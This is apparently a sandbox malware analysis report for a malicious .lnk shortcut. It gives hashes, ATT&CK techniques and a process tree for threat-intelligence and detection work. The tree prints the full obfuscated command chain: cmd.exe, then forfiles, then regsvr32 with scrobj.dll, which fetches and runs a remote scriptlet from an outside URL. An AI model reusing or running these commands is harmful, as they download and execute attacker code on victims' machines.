cc35cb5beb5c008ef2c9a237bea69a6c2f8b8298a151d117c463d58f76883e36

General

Target
YEBEXEXIQA-FEHIJ-ELO.lnk
Size 8KB
Sample260820-ec6tgssse1
SHA256 cc35cb5beb5c008ef2c9a237bea69a6c2f8b8298a151d117c463d58f76883e36
MD5 efc236d09aab934d4f6e430282375827
SHA1 531b10301dcf1d8f0b4b457d453a3ebd5919721d
SHA512 151efc73d248662c99bfb7ca96e93434ed3dac511bc2782cc29a72446ff6666d0fd6249b3344ac5cccc421efafbf637854780e9c676f38d49f5cbe898aa369df
SSDEEP 192:8xYkEl+zgd6vwSVyavxDNwgb8Xz0pGsZJYzQzVIVj4t:YYk5B4SVJ3H2z0HWsY
TLSH
T1E8122D3424FB2016D173FABB4BDAACBBDF6AB721623B356E106143478605801ED53339
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
4432	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1856	cmd.exe
4340	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 4340	1856	cmd.exe	90
PID 4340 wrote to memory of 4432	4340	cmd.exe	91
PID 4432 wrote to memory of 4504	4432	forfiles.exe	92
PID 4504 wrote to memory of 5940	4504	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\YEBEXEXIQA-FEHIJ-ELO.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /SJFFMGKPDUTOLB:4XA2BJS0V3EZ570B /ZLPOESGHELQBTONCY:7WY3LFSMCCQR796S /XGJUYVTYGR:7HOBWKTEM06NW8SKOE98 /IYDDHIHCOYCT:5NHSIH04LB2NX /LIPEVZXAWYDX:LAUBCZME2V3K /HLXSIJSPQIRL:9H0JWW0J8HJE8Q6XW5X9LK /DGYFKJKNTUIZHPK:S8SQT748NNELBZ /WIGYTHYGIVLCQPOPSVX:RV9C20PXASY5S70ML /HENITTRPWV:5D8SBWHODQANLFDG0DTKQ /HEVJPPNVPYFTKNQII:2FZH524MY80WOQWVI4XMUJX3I /QIYZFJXYFTNQFLBSHL:UYT68Y8DJEVV4VG42UG /FNYYEUMWPTXTXINHOWGMMUQ:DB5FOMBNKBUPQ /OCQRHOMVGQSN:P9MG74JD1G4U /SMCODHRMKHVR:IME1T2L5JF5 /HMEPFVRXJJGOAAZEXCCI:VKRN00RV0UBNFXEKP8QV /ZKKSXJVTCHIUBZHY:S4FGVAL2EMX9 /HAAQRJZURCECMKPESUV:W9HYTAT94Y1 /SNQZXPPXUIOAJVPOQZ:I00JFCR9SFXJADM /LYJSFUBYKQC:OCCZGQ987IFQLLUI /PBSVPTEWJIF:QJEYUXXPU6RYTQSS /XGJUMYDXVXFIARWE:0SGTOOA27QS98M96R /JWJBWRKHZFSMKTDOA:U8ELMM3YQXAB7GH5UD4 /AXUMOQYSZYHDLI:TN5ZU1UO6YZ8R964BBBY /TEUDTAJSOVZNZKOBZOJO:D2I12ZFFLDT665 /HTXLMRVDOHUUGXFUYWK:730E1BX7BFIUB91Z7UCN /LOCBYWERWCZE:FRV7P0UW7A2CPZ2OYVRMV /BYCVOMHPZFTRQMNHCA:FUAGLOX5360T4KIATFTVG2JA /EVWDCTUMPLXAZ:TAOBK7FAUIP /FQAVVXPURVJKVZYYAHSSVI:WX8PTNIYIJ /MMCZKRVOCIJIJGDIYHYHTYDTK:BLBYOV5BLA6 /GBKJCHFWQZJRVXFLCJTR:H920VTN86MJTC1I72R1K8GTL5 /BGSPRHZDJIDVDPEVBXLADX:B2YIX93HUCE94EMTIB0PAG /BLFNKESLGBJMLVAZRJPEJN:AGT6SHEBQUQTMX8BPB338U258 /ARWCSUMUJLYORWLJX:VH0DCYRVO8FDL6XAX43R /JLGRBROFKFNFUSWDBP:MV2Y2B386ZF /QBVRMZYLTFVJIXJJKNLECC:P25HRUPF56DP1XP /FMNUJUXRCRCSOEDXTLAWDAM:7HZXFDXZZSHO87VTMARESM /WRSMPJBZMQT:MAU5F97863LSI1S /JMZKSMFBAAXRNZT:9OFNR8M6F0CH9XQTJX5RIOILT /PLCTVJBERRGOB:RHG4N9R9EW4PGY5HQQ /TMWXUAMGIQ:85SZA48SR4T4GRATVR /DXZWOWPAAUXXZNKMIN:FK9YOMY419MTSXSI4ATO8V5 /OMJYFNDFNTKLZBOQNPTPI:WKTSUFRYY56AXIXDFPQYA /WYWFXWPCMTEKDYJJZJGMT:LFFLL3456ZUWI53GL9BPEHK0 /OMPRVWHPAOAGEPKQLODXZ:KFA6K0YXCEGGIIBVYYEY5 /SYEZZWHMVEBB:UQT6TX8AI6M /YIKZYNEBEIOWNGSDA:LQA4SFF6ERHWFA /BDFDJQWOWFQNVIYDBPOBRDK:XPUR3JV2GZ7Y30 /IJWEEUHATZZZ:W1UDZ5SPV83MDD0QE /ACXMERRHRRPARQH:Q0JLFCSW5ENLCZ /PKFNDWAPZEJQTCXPXTBWVE:J0KC8S4653LZY5VYQY /UFPZTHCHYOSOIY:P1DSZL7XOBET0TQM01L /OAETNTATTJVDWXICBWJT:CD4GIOFNBEF2 /VLJEHNQXAFIQGATGDWJZKXQVY:YDTR822FHLLVGDFLPQ /NHLWSELEMYPDKODX:GQIT11VOM6J1807O0GCYP /AZBEGMVPYOBSV:TPMQH3B3ZG3D /UFOYKDTGFBMSVGSAYNOKPCOLG:OH959GGLADP4M7YEX1OFUTO0I /BQKHTCYOUP:8NCS3X1SL4WZ /LYJPIHKHAPEJYXRY:YBVHPQQKNH4W5I6KL3WRY7WV1 /BMGWURDXEPLCSJPSQGNTBXHXL:ZEZ8G4T73OT0AMM5ID4NPQ4 /LXRFLJKREJREKFOLVFYPJXTRZ:FZ3BZBNCNQ /TELEFMTPMPTHONWXQWVD:AIG7BR8N823BSWBI2NS /XNOQTESLWFA:TKLHIDS2W8RZ5LMOLZ /EQYETPQXMTMQODUTE:U0WT9GRX6W8UBQPFD2LDLJ /XVEQYXQGCZCLHDSCZFAC:XMCEM0H2FEQ41QK1U2SKUQBDW /FLFISSENNECGVTVVY:1YEKSV5K108GAXQ /YXOQDHGOVY:3DZ3Y7XDZO7FGXNVG2Y /YZKBIAOLPFRMBMYWNQEWUNFEE:YDMSJ51OFSU5N2 /BWTLTUSXZRNPBLNFDO:9JH3AGX4MGR4 /TJOOLLPQMMKPLDMVGTLR:KT1JWR22H3C5E /BHDOOGUGJCCUZTBPZSPKXZSC:IFPC40KTZQW5QRX9 /ZWTOPZVRIR:032OPOMO713F9 /OWAWTRIFSKGNOL:ZHUSE0UICOA4OB /YWSPBRIHECY:BCJ24K7PR1OV9Q645QRJ /GOSCAPTYHPTOAV:VUMVPRAJAGDU56KAEF /VHQQVPJDHIQKFMNZQ:CS6KNJ9UFNYH8MAJ /FQEXHYWTLSRWEX:MM5ZJSWB7UHW4GICA9Q0QN0 /VKKHYVYIPEBFCXLWGCPVWDDV:WMO5OM6P3OU9Q /TYKXTNPJYZRGDRWHAG:6EC0WZF20DITF0YW /MRCVZJIRCTPRXGXSVCBQCFI:MRMKT5FSNLUO12FAV9UKI /DTOFQDHDXTNTJ:DMRVFM4SJHYWTH /JQLPTFCSKES:R8OWTZESTYISIRJIW1 /VMWOQQHJSPJFZU:WK8WJ2WD4JF3LB2UY7O /BSAQXFNANLYUCFTFZ:GKZVYTGNYUGT3 /XIHQUSDEHX:O4H2Z0QCHIXQAFEONN /XVODDFMNUZ:P906KBHYXMBFZ8RZZB2VJ /BOUIZDWXTK:01RLO7ML4RJJC1SPXDTG69QQI /D/C "fOR %a in (5ro80ud9) do fOr %t in (r) dO FOR %m in (466xavswvz) do For %o in (egsvr) do FOR %h in (32) dO For %y in (forfile) do fOR %k in (s) dO For %u in (Sys) dO fOR %z in (tem32) Do FoR %c in (gegcyjmy8wc) do fOr %d in (C:\Windows) DO FOR %r in (yfgfcl0) dO %y%k /p %d\%u%z /m s?robj.dll /c "cmd /c %APPDATA:~0,1%:\W^i^ndows\%u%z\%t%o%h.exe -^s -^n -^u -^i^:https://znsmiu.pa^t^amar^cedro.webs^i^te/kmbvl^zqechxtnxoil/9569556^4349^93/ @path wor.dll""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\system32\forfiles.exe
    forfiles /p C:\Windows\System32 /m s?robj.dll /c "cmd /c C:\W^i^ndows\System32\regsvr32.exe -^s -^n -^u -^i^:https://znsmiu.pa^t^amar^cedro.webs^i^te/kmbvl^zqechxtnxoil/9569556^4349^93/ @path wor.dll"
    3⤵
    - Indirect Command Execution
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\system32\cmd.exe
      /c C:\W^i^ndows\System32\regsvr32.exe -^s -^n -^u -^i^:https://znsmiu.pa^t^amar^cedro.webs^i^te/kmbvl^zqechxtnxoil/9569556^4349^93/ "C:\Windows\System32\scrobj.dll" wor.dll
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4504
    - - C:\Windows\System32\regsvr32.exe
        
        C:\Windows\System32\regsvr32.exe -s -n -u -i:https://znsmiu.patamarcedro.website/kmbvlzqechxtnxoil/9569556434993/ "C:\Windows\System32\scrobj.dll" wor.dll
        5⤵
        
        PID:5940